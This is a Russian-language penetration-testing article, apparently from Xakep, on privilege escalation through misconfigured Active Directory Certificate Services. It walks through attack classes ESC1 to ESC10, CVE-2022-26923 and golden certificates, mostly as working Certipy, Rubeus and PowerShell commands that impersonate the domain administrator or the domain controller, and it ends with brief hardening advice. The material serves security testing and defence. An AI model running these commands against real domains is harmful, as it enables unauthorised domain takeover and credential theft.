Хакер - Privesc as a Service. Повышаем привилегии через Active Directory Certification Services

https://t.me/hacker_frei

whoam1ns3 

Содержание статьи

• Центр сертификации
• Сертификаты
• В поисках сертификатов
• Атаки на AD CS
• Лаборатория
• Сбор информации
• Modifiable SAN. ESC1
• Any or None Purpose Attack. ESC2
• Enrollment Agent. ESC3
• Certificate ACL Abuse. ESC4
• Manage CA & Manage Certificate. ESC7
• Relay на AD CS Web Enrollment. ESC8
• dNSHostName Spoofing
• Golden Certificate
• Сопоставление сертификатов
• StrongCertificateBindingEnforcement. Kerberos
• CertificateMappingMethods. Schannel
• ESC9. Jump to DA
• ESC10. Nameless accounts
• Выводы

Центр сер­тифика­ции в Active Directory может стать отличной целью ата­ки при выпол­нении тес­тирова­ния на про­ник­новение. В этой статье мы рас­смот­рим, как устро­ен этот центр, как про­исхо­дит выдача сер­тифика­тов и как мож­но повысить при­виле­гии в домене, исполь­зуя воз­можнос­ти Active Directory Certification Services.

В Windows Server при­сутс­тву­ет роль под наз­вани­ем Active Directory Certification Services (AD CS), которая нуж­на для реали­зации инфраструк­туры откры­тых клю­чей (PKI) в сетях с кон­трол­лером домена. AD CS пред­назна­чена для выдачи сер­тифика­тов поль­зовате­лям и компь­юте­рам. Сер­тифика­ты могут исполь­зовать­ся для шиф­рования, под­писи, аутен­тифика­ции и тому подоб­ного, и в целом эта роль выг­лядит как сер­вис для повыше­ния безопас­ности в домене.

Ча­ще все­го при пен­тесте домена Active Directory конеч­ной целью ста­вит­ся перех­ват учет­ной записи адми­нис­тра­тора. Получив адми­на, мож­но шиф­ровать сис­тему сда­вать отчет и закан­чивать про­ект. Есть мно­жес­тво спо­собов добить­ся ука­зан­ной цели, и один из них — экс­плу­ата­ция неп­равиль­ных кон­фигура­ций шаб­лонов, по которым выпус­кают­ся сер­тифика­ты.

На пути к получе­нию адми­нис­тра­тора домена нам понадо­бит­ся нас­тоящий швей­цар­ский нож в мире сер­тифика­тов — Certipy. Он поз­воля­ет искать информа­цию о шаб­лонах, зап­рашивать сер­тифика­ты и аутен­тифици­ровать­ся при помощи сер­тифика­тов, но самое глав­ное — про­водить ата­ки. 

ЦЕНТР СЕРТИФИКАЦИИ

В рам­ках Active Directory центр сер­тифика­ции реали­зует фун­кцию инфраструк­туры откры­тых клю­чей. В свою оче­редь, инфраструк­тура откры­тых клю­чей (PKI) — это набор служб и ком­понен­тов, поз­воля­ющих управлять клю­чами и сер­тифика­тами в сети.

Ос­новная цель цен­тра сер­тифика­ции сос­тоит в выдаче, отзы­ве, перевы­пус­ке сер­тифика­тов и тому подоб­ном. Центр сер­тифика­ции, раз­верну­тый пер­вым, явля­ется кор­нем инфраструк­туры откры­тых клю­чей. Далее мож­но раз­верты­вать под­чинен­ные ЦС, рас­положен­ные в иерар­хии инфраструк­туры откры­тых клю­чей, в вер­хней час­ти которой находит­ся кор­невой ЦС.

СЕРТИФИКАТЫ

Cер­тификат в общем смыс­ле — это документ фор­мата X.509, содер­жащий информа­цию о сво­ем вла­дель­це. Может исполь­зовать­ся как средс­тво иден­тифика­ции и аутен­тифика­ции.

Сер­тифика­ты вклю­чают в себя некото­рые парамет­ры. Вот наибо­лее инте­рес­ные из них:

• Subject — вла­делец сер­тифика­та;
• SAN (SubjectAlternativeName) опре­деля­ет одно или нес­коль­ко аль­тер­натив­ных имен, которые может исполь­зовать вла­делец (это нам при­годит­ся в ата­ках);
• Extended/Enhanced Key Usages — набор иден­тифика­торов, которые опре­деля­ют, как будет исполь­зовать­ся сер­тификат.

Сер­тифика­ты выпус­кают­ся по опре­делен­ным шаб­лонам, опи­сыва­ющим парамет­ры, с которы­ми будет выпущен сер­тификат, нап­ример:

• Кто может зап­рашивать сер­тификат по дан­ному шаб­лону?
• Кто может изме­нять шаб­лон?
• Ка­кие EKU (зна­чения Extended Key Usage) будут опре­деле­ны?
• На какой пери­од будет выпущен сер­тификат?

Про­ще говоря, шаб­лоны сер­тифика­тов опре­деля­ют порядок зап­роса и исполь­зования сер­тифика­тов, выдан­ных цен­тром сер­тифика­ции.

В ПОИСКАХ СЕРТИФИКАТОВ

Шаб­лоны сер­тифика­тов хра­нят­ся в сле­дующем кон­тей­нере:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com

Со­ответс­твен­но, получить шаб­лоны мож­но при помощи сле­дующей коман­ды PowerShell, исполь­зуя модуль AD:

PS > Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com" -Filter * -Properties *

Так­же в Windows есть пре­дус­танов­ленный инс­тру­мент certutil, который может вывес­ти все шаб­лоны для сер­тифика­тов в более удоб­ном и под­робном виде.

$ certutil -v -template

Инс­тру­мент Certipy поз­волит сде­лать это с Linux и сра­зу выг­рузить дан­ные, которые мож­но заг­рузить в BloodHound.

$ certipy find 'contoso/john:Passw0rd@contoso.com'

Что­бы выпус­тить сер­тификат, нуж­но, что­бы наш поль­зователь сос­тоял в домен­ной груп­пе, у которой есть пра­ва на выпуск это­го сер­тифика­та. Еще необ­ходима воз­можность аутен­тифици­ровать­ся в домене. В совокуп­ности эти два тре­бова­ния дадут мак­сималь­ный импакт для ата­кующе­го.

Зна­чения поля EKU, поз­воля­ющие аутен­тифици­ровать­ся в домене:

• Client Authentication (1.3.6.1.5.5.7.3.2);
• PKINIT Client Authentication (1.3.6.1.5.2.3.4);
• Smart Card Logon (1.3.6.1.4.1.311.20.2.2);
• Any Purpose EKU (2.5.29.37.0);
• SubCA (-).

АТАКИ НА AD CS

Лаборатория

Для про­веде­ния тес­тов нам пот­ребу­ется лабора­тор­ный стенд, сос­тоящий из двух вир­туаль­ных машин: Windows Server 2016 и Kali Linux. Перечис­лим общие тре­бова­ния для всех атак:

• сер­тификат может выпус­кать­ся груп­пой, в которую вхо­дит ваш поль­зователь;
• Manager Approval дол­жен быть отклю­чен;
• под­пись CSR не тре­бует­ся.

Пос­ледние два тре­бова­ния выпол­няют­ся в Windows Server по умол­чанию, и на них мож­но не обра­щать вни­мания (при­вет, адми­ны!). Еще нам пот­ребу­ется воз­можность аутен­тифика­ции в домене с выпущен­ным сер­тифика­том. На нашем лабора­тор­ном стен­де мы будем исполь­зовать поль­зовате­ля Kent.Jill:P@ssw0rd. 

Сбор информации

Сбор информа­ции о цели — пер­вый этап тес­тирова­ния на про­ник­новение. Для сбо­ра информа­ции и визу­али­зации мож­но исполь­зовать Certipy + BloodHound. Перед этим нуж­но заг­рузить под­готов­ленные раз­работ­чиками Certipy зап­росы на свой хост.

wget -O ~/.config/bloodhound/customqueries.json https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json

По­лучить информа­цию из цен­тра сер­тифика­ции поз­воля­ет модуль find:

$ certipy find 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com

BloodHound дает воз­можность визу­али­зиро­вать информа­цию по объ­ектам AD CS и пра­вам на них, а так­же опре­делить век­торы повыше­ния при­виле­гий.

Modifiable SAN. ESC1

Эта ата­ка осно­выва­ется на изме­нении сер­тифика­та SAN — циф­рового сер­тифика­та безопас­ности, который поз­воля­ет защищать нес­коль­ко имен хос­тов одним сер­тифика­том. Это поз­волит нам выпус­тить сер­тификат на дру­гого поль­зовате­ля, даже адми­нис­тра­тора домена. Что­бы ата­ка прош­ла успешно, шаб­лон сер­тифика­та дол­жен иметь уста­нов­ленный флаг ENROLLEE_SUPPLIES_SUBJECT.

Вы­ведем все такие шаб­лоны с исполь­зовани­ем BloodHound.

Ес­ли у нас есть такой шаб­лон, то мы в шаге от получе­ния учет­ной записи адми­нис­тра­тора домена. Зап­росить сер­тификат на любого поль­зовате­ля мож­но сле­дующим обра­зом:

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -dc-ip 10.11.1.184 -ca CA-contoso -template "1" -alt "administrator@contoso.com"

В этой коман­де уста­нав­лива­ется параметр alt, который ука­зыва­ет SAN в зап­рашива­емом сер­тифика­те.

Из лога Certipy вид­но, что мы получи­ли сер­тификат на поль­зовате­ля Administrator.

Те­перь все, что нам оста­ется, — это прой­ти аутен­тифика­цию с выпущен­ным сер­тифика­том и получить NTLM-хеш адми­нис­тра­тора домена.

В Windows мы можем это сде­лать при помощи mmc, исполь­зуя оснас­тку Certificates. При попыт­ке выпус­тить сер­тификат от нас пот­ребу­ется допол­нитель­ная информа­ция, в которой мы и ука­жем любого поль­зовате­ля.

В Subject Name выбира­ем Type: Common Name, а в Alternative Name — User principal name: administrator@contoso.com.

Ес­ли все прош­ло успешно, нуж­но экспор­тировать сер­тификат с ука­зани­ем пароля и зап­росить TGT-билет для поль­зовате­ля:

PS > Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /ptt

Для перево­да сер­тифика­та в Base64 мож­но исполь­зовать сле­дующие коман­ды:

PS > $file = get-content 'C:\Users\Kent.Jill\Desktop\1.pfx' -Encoding Byte

PS > [System.Convert]::ToBase64String($fileContentBytes) | Out-File 'D:\pfx-bytes.txt' 

Any or None Purpose Attack. ESC2

Ес­ли в шаб­лоне сер­тифика­та ука­зан EKU любого наз­начения или вооб­ще отсутс­тву­ет EKU, сер­тификат мож­но исполь­зовать для чего угод­но. Им мож­но зло­упот­реблять, как ESC3, нап­ример, исполь­зовать сер­тификат в качес­тве тре­бова­ния для зап­роса дру­гого сер­тифика­та от име­ни любого поль­зовате­ля. 

Enrollment Agent. ESC3

В до­кумен­тации Microsoft ука­зано, что EKU Certificate Request Agent может исполь­зовать­ся, что­бы выдать себя за дру­гого поль­зовате­ля, и поз­воля­ет выпус­тить сер­тификат, который может быть исполь­зован для сов­мес­тной под­писи зап­росов от име­ни любого поль­зовате­ля для любого шаб­лона.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -template Agent

Пос­ле того как мы получи­ли обыч­ного поль­зовате­ля, зап­росим сер­тификат, пред­ста­вив­шись дру­гим поль­зовате­лем.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -template User -on-behalf-of 'contoso\Administrator' -pfx kent.jill.pfx

Certificate ACL Abuse. ESC4

Прос­тая ата­ка, осно­ван­ная на пра­вах поль­зовате­ля, при­меня­ющих­ся к шаб­лону сер­тифика­та. Если мы ском­про­мети­рова­ли поль­зовате­ля, который име­ет пра­ва на запись в шаб­лоны, то можем про­вес­ти ата­ку ESC1 и повысить свои при­виле­гии.

При помощи инс­тру­мен­та PowerView мы можем кра­сиво вывес­ти все ACE на шаб­лоны:

PS > Get-DomainObjectAcl -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -LDAPFilter "(objectclass=pkicertificatetemplate)" -ResolveGUIDs|Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}

Од­нако BloodHound покажет то же самое еще удоб­нее и кра­сивее. Мож­но уви­деть, что груп­па с SID = 513 (Domain Users) име­ет пра­ва GenericAll на шаб­лон ACL. Подоб­ное неред­ко встре­чает­ся в «живой при­роде», поэто­му не сто­ит счи­тать этот при­мер пол­ностью искусс­твен­ным.

Сле­дующим дей­стви­ем будет сох­ранение текуще­го сос­тояния сер­тифика­та, что­бы вер­нуть его в исходное сос­тояние пос­ле экс­плу­ата­ции (мы ведь этич­ные хакеры). Заод­но мы изме­ним кон­фигура­цию под ата­ку ESC1.

Для выпол­нения этих дей­ствий certipy име­ет спе­циаль­ный флаг -save-old:

$ certipy template 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.com -template ACL -save-old

Те­перь шаб­лон уяз­вим к ESC1, и мы можем получить сер­тификат на адми­нис­тра­тора домена.

$ certipy req 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.com -template acl -ca CA-contoso -alt administrator@contoso.com

Everything and for everyone (EDITF_ATTRIBUTESUBJECTALTNAME2). ESC6

Ата­ку ESC5 мы раз­бирать не будем, так как она нацеле­на не на AD CS, а на объ­екты, которые могут при­нес­ти какой‑то импакт в AD CS. А вот ESC6 — это самая опас­ная и по сво­ей сути лег­кая ата­ка. Если сис­темный адми­нис­тра­тор (видимо, не в сво­ем уме) уста­новил флаг EDITF_ATTRIBUTESUBJECTALTNAME2 в цен­тре сер­тифика­ции, то это прос­тей­ший век­тор для повыше­ния при­виле­гий в сис­теме.

Этот флаг поз­воля­ет хакеру ука­зать про­изволь­ный SAN (Subject Alternative Name) для всех сер­тифика­тов, нес­мотря на кон­фигура­цию шаб­лона сер­тифика­та.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -template <Любой шаблон> -ca CA-contoso -alt administrator@contoso.com 

Manage CA & Manage Certificate. ESC7

В AD CS есть шаб­лон, который по умол­чанию уяз­вим к ESC1, — SubCA, но выпус­кать его могут лишь поль­зовате­ли, вхо­дящие в груп­пу Domain Admins.

ESC7 осно­ван на том фак­те, что зап­росы, которые завер­шились неуда­чей, сох­раня­ются и могут быть зап­рошены еще раз. Поль­зовате­ли, име­ющие пра­ва Manage CA и Manage Certificates на центр сер­тифика­ции, могут перевы­пол­нять неудач­ные зап­росы на выпуск сер­тифика­та и выпус­кать SubCA на любого поль­зовате­ля.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -template SubCA -ca CA-contoso -alt administrator@contoso.com

Сох­ранив ID зап­роса и при­ват­ный ключ, выпус­тим сер­тификат:

$ certipy ca 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -issue-request 32

Те­перь зап­росим перевы­пущен­ный сер­тификат.

$ certipy req 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -retrieve 32

В оче­ред­ной раз мы ста­ли адми­нис­тра­тором домена. 

Relay на AD CS Web Enrollment. ESC8

Ты навер­няка слы­шал про PetitPotam или читал замеча­тель­ные статьи @Delyura «Зах­ват кон­трол­лера домена с помощью ата­ки PetitPotam» и @Dirkjanm «NTLM relaying to AD CS — On certificates, printers and a little hippo», которые под­робно опи­сыва­ют дан­ную ата­ку.

Ес­ли крат­ко, то мы можем реле­ить хеш в центр сер­тифика­ции, получая сер­тификат в фор­мате PKCS12 на поль­зовате­ля, чей хеш мы рет­ран­сли­рова­ли.

WWW

От­личный док­лад про Relay-ата­ки: Coercions and Relays — The First Cred is the Deepest with Gabriel Prud’homme 

dNSHostName Spoofing

В мае 2022 года в Active Directory была най­дена уяз­вимость, которой был прис­воен иден­тифика­тор CVE-2022-26923. Ког­да поль­зователь зап­рашива­ет сер­тификат на осно­ве шаб­лона Users, UPN (UserPrincipalName) учет­ной записи поль­зовате­ля встав­ляет­ся в параметр SAN (Subject Alternative Name) сер­тифика­та.

Од­нако учет­ные записи компь­юте­ров не име­ют UPN, вмес­то это­го исполь­зует­ся dNSHostName компь­юте­ра, который и встав­ляет­ся в параметр SAN. В этом и зак­люча­ется суть ата­ки: изме­нив dNSHostName на кон­трол­лер домена, мы выпус­тим сер­тификат на машин­ную учет­ную запись это­го кон­трол­лера.

По умол­чанию обыч­ные поль­зовате­ли могут добав­лять компь­юте­ры в домен, и учет­ная запись компь­юте­ра будет иметь такую инте­рес­ную при­виле­гию, как Validate write to DNS host name, что поз­воля­ет изме­нять параметр dNSHostName на про­изволь­ную стро­ку. Соот­ветс­твен­но, мы можем поменять dNSHostName на DNS-имя кон­трол­лера домена, а затем аутен­тифици­ровать­ся, получив сер­тификат на машин­ную учет­ную запись кон­трол­лера домена! Одна­ко не все так прос­то. Ког­да мы меня­ем dNSHostName на компь­юте­ре, меня­ются зна­чения servicePrincipalName, а они дол­жны быть уни­каль­ными.

Вот тут в игру всту­пает еще одна инте­рес­ная при­виле­гия на объ­ект компь­юте­ра — Validate write to Service Principal Name (SPN), поз­воля­ющая изме­нять, добав­лять и уда­лять параметр SPN, и обой­ти огра­ниче­ние уни­каль­нос­ти, прос­то уда­лив SPN, где ука­зыва­ется пол­ный dNSHostName, а не sAMAccountName компь­юте­ра.

Та­ким обра­зом, воз­можность соз­дания нового компь­юте­ра и при­виле­гии на компь­ютер по умол­чанию дают зло­умыш­ленни­ку век­тор для повыше­ния при­виле­гий в сис­теме.

Пол­ный флоу ата­ки выг­лядит сле­дующим обра­зом:

1. Соз­дание компь­юте­ра в домене с dNSHostName, соот­ветс­тву­ющим DNS-име­ни кон­трол­лера домена.
2. За­мена SPN.
3. Зап­рос сер­тифика­та для компь­юте­ра.

Соз­дадим компь­ютер через Certipy, ука­зав в параметр -dns FQDN кон­трол­лера домена:

$ certipy account create 'contoso.com/Kent.Jill:P@ssw0rd'@DC01.contoso.com -user pwned -dns DC01.contoso.com

Зап­рашива­ем сер­тификат, исполь­зуя стан­дар­тный шаб­лон Machine.

Об­рати вни­мание: мы выпус­тили сер­тификат на машин­ную учет­ку кон­трол­лера домена, пос­ле чего ста­ли этим кон­трол­лером.

В темати­чес­ких чатах я замечал сле­дующий воп­рос: а как про­верить, уяз­вим ли кон­трол­лер домена к CVE-2022-26923? Глав­ным приз­наком уяз­вимос­ти слу­жит наличие SID в отве­те на зап­рос сер­тифика­та. Если он есть — патч в сис­теме при­сутс­тву­ет, если нет, то пат­ча тоже нет. 

Golden Certificate

Это прос­той ана­лог для Golden или Diamond Ticket.

Пер­вый этап ата­ки — соз­дание бэкапа цен­тра сер­тифика­ции и получе­ние сер­тифика­та это­го цен­тра.

$ certipy ca 'contoso.com/Administrator:P@ssw0rd'@DC01.contoso.com -ca CA-contoso -backup

С помощью получен­ного сер­тифика­та мы можем зап­рашивать сер­тифика­ты на любого поль­зовате­ля.

$ certipy forge -ca-pfx CA-contoso.pfx -alt administrator@contoso.com

СОПОСТАВЛЕНИЕ СЕРТИФИКАТОВ

В пат­че CVE-2022-26923 в реестр были добав­лены два зна­чения: StrongCertificateBindingEnforcement и CertificateMappingMethods, пред­назна­чен­ные для сопос­тавле­ния сер­тифика­тов.

StrongCertificateBindingEnforcement. Kerberos

Пос­ле появ­ления исправ­лений параметр StrongCertificateBindingEnforcement по умол­чанию име­ет зна­чение 1. Теперь KDC про­веря­ет, выпол­няет­ся ли явное сопос­тавле­ние сер­тифика­тов. Если да, то аутен­тифика­ция раз­решена. В про­тив­ном слу­чае KDC про­верит, име­ет ли сер­тификат SID, и под­твер­дит его. Если SID отсутс­тву­ет, аутен­тифика­ция раз­решена.

Зна­чение 0 не озна­чает никаких дей­ствий, что оставля­ет век­тор ата­ки откры­тым.

Ес­ли параметр име­ет зна­чение 2, KDC про­веря­ет, выпол­няет­ся ли надеж­ное сопос­тавле­ние сер­тифика­тов. Если да, то аутен­тифика­ция раз­решена. В про­тив­ном слу­чае KDC про­верит, име­ет ли сер­тификат SID, и под­твер­дит его. Если этот SID отсутс­тву­ет, аутен­тифика­ция откло­няет­ся.

Зна­чение 2 будет уста­нов­лено по умол­чанию с 9 мая 2023 года.

CertificateMappingMethods. Schannel

В дан­ном методе исполь­зует­ся аутен­тифика­ция через про­токол Schannel. Этот про­токол сопос­тавля­ет сер­тифика­ты нем­ного ина­че. Параметр CertificateMappingMethods может при­нимать пять зна­чений:

• 0x0001 — сопос­тавле­ние сер­тифика­тов субъ­ект/объ­ект;
• 0x0002 — сопос­тавле­ние сер­тифика­тов ЦА;
• 0x0004 — сопос­тавле­ние сер­тифика­тов по SAN;
• 0x0008 — сопос­тавле­ние сер­тифика­тов S4U2Self;
• 0x0010 — явное сопос­тавле­ние сер­тифика­тов S4U2Self.

По умол­чанию уста­нов­лено зна­чение 0x18 (0x8 и 0x10). S4U2Self исполь­зует­ся из‑за того, что Schannel не под­держи­вает новые парамет­ры, которые прив­нес оче­ред­ной патч, и сопос­тавле­ние идет через Kerberos.

WWW

Под­робно про­читать про сопос­тавле­ние сер­тифика­тов мож­но в недав­ней статье Oliver Lyak «Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!».

ESC9. Jump to DA

Для этой ата­ки нуж­но, что­бы параметр StrongCertificateBindingEnforcement имел зна­чение 1 или 0. Еще пот­ребу­ется сер­тификат с уста­нов­ленным фла­гом CT_FLAG_NO_SECURITY_EXTENSION в парамет­ре msPKI-Enrollment-Flag, а так­же GenericWrite любого поль­зовате­ля в домене. BloodHound 4.2.0 име­ет встро­енные зап­росы для вывода подоб­ных шаб­лонов.

Пер­вым делом сле­дует получить хеш учет­ной записи B от учет­ной записи A, которая име­ет GenericWrite на B, нап­ример через Shadow Credentials:

$ certipy shadow auto 'contoso.com/Kent.Jill:P@ssw0rd' -account Max

Пос­ле получе­ния хеша нуж­но изме­нить UPN учет­ной записи B на UPN адми­нис­тра­тора:

$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user Max -upn Administrator

За­меть, не на Administrator@contoso.com, а на Administrator.

Даль­ше зап­росим сер­тификат от учет­ной записи Max (она же учет­ная запись B), хеш которой мы получи­ли на пер­вом эта­пе:

$ certipy req 'contoso.com/Max' -template new -ca CA-contoso -hashes 275b741dead6da7aaa8ec5292db5abca

Пос­коль­ку мы изме­нили UPN на Administrator, сер­тификат будет выпущен на имя адми­на. Что­бы вер­нуть все как было, мы уста­нав­лива­ем UPN обратно, но уже с ука­зани­ем домена:

$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user Max -upn Max@contoso.com 

ESC10. Nameless accounts

Для успешно­го выпол­нения этой ата­ки нуж­но, что­бы парамет­ры име­ли сле­дующие зна­чения:

CertificateMappingMethods: 0x4

StrongCertificateBindingEnforcement: 0

Так­же нам понадо­бит­ся раз­решение GenericWrite на учет­ную запись А.

Дан­ная ата­ка пред­полага­ет ком­про­мета­цию учет­ных записей, у которых отсутс­тву­ет UPN. К таковым отно­сит­ся, в час­тнос­ти, машин­ная учет­ка или встро­енная учет­ка Administrator.

Сна­чала мы получа­ем хеш учет­ной записи B, так­же через ShadowCredentials или любым дру­гим спо­собом:

$ certipy shadow auto 'contoso.com/Kent.Jill:P@ssw0rd' -account Max

За­тем меня­ем UPN учет­ной записи на, нап­ример, кон­трол­лер домена:

$ certipy account update 'contoso.com/Kent.Jill:P@ssw0rd' -user Max -upn 'DC01$@contoso.com'

Да­лее зап­рашива­ем сер­тификат от Max и... сами ста­новим­ся кон­трол­лером домена:

$ certipy req 'contoso.com/Max' -template new -ca CA-contoso -hashes 275b741dead6da7aaa8ec5292db5abca 

ВЫВОДЫ

Мы рас­смот­рели нес­коль­ко видов атак на Active Directory Certification Services и выяс­нили, каким обра­зом с исполь­зовани­ем этой роли мож­но повысить при­виле­гии в сис­теме. Защитить­ся от таких атак отно­ситель­но нес­ложно: нуж­ны пра­виль­ные нас­трой­ки сер­вера и, конеч­но же, не сле­дует забывать о сво­евре­мен­ной уста­нов­ке обновле­ний безопас­ности.

Для защиты тре­бует­ся все­го лишь кор­рек­тная нас­трой­ка прав поль­зовате­лей на шаб­лоны, с отклю­чени­ем всех нес­тандар­тных нас­тро­ек. Имен­но некор­рек­тная нас­трой­ка шаб­лонов при­водит к ата­кам, поз­воля­ющим хакеру повысить при­виле­гии в две коман­ды. Про­вер­ку кор­рек­тнос­ти нас­тро­ек шаб­лонов мож­но выпол­нить с помощью замеча­тель­ного инс­тру­мен­та PSPKIAudit.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei